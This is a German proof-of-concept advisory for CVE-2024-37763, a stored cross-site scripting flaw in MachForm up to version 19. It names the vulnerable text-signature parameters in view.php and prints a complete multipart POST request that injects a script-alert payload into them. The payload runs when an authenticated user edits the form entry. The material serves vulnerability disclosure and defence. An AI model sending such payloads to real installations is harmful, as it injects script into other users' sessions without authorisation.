
Proof-of-Concept-Exploit für CVE-2024-37763, eine nicht authentifizierte gespeicherte XSS in MachForm bis v19, die die Payload-Injektion über verwundbare Parameter in view.php demonstriert.
MachForm bis Version 19 ist von einer nicht authentifizierten gespeicherten Cross-Site-Scripting-Schwachstelle betroffen, die Benutzer mit gültigen Sitzungen betrifft, die ausgefüllte Formularergebnisse anzeigen können.
In der Zielwebanwendung wurde bei Verwendung eines Formulars mit aktivierter Textsignatur festgestellt, dass die an die anfällige Ressource gesendete Anfrage anfällig für XSS-Angriffe ist. Ein Parameter der POST-Anfrage im Body innerhalb der anfälligen URL weist keine Bereinigung auf. Dadurch kann eine schädliche Nutzlast platziert werden, die JavaScript-Code im Browser des Opfers auslöst.
Die anfälligen Parameter sind dynamisch und basieren darauf, wo die Textsignaturkomponente im Formular platziert ist:
element_{element_number}_text_signatureelement_{element_number}Es ist möglich, eine JavaScript-Nutzlast in die anfälligen Parameter zu injizieren.

Anfrage:
POST /view.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl/
Content-Type: multipart/form-data; boundary=---------------------------6026266881719614557329755478
Content-Length: 1141
Origin: https://application-baseurl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_1"
test5
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_4_text_signature"
"><script>alert(1)</script>
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_4"
"><script>alert(1)</script>
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_12"; filename=""
Content-Type: application/octet-stream
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_12_token"
3cc3be6c0c28b67f1c55eb23786b2869
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="form_id"
59032
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="submit_form"
1
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="page_number"
1
-----------------------------6026266881719614557329755478--
Die Nutzlast wird dann ausgelöst, wenn ein authentifizierter Benutzer den Formularergebniseintrag bearbeitet.

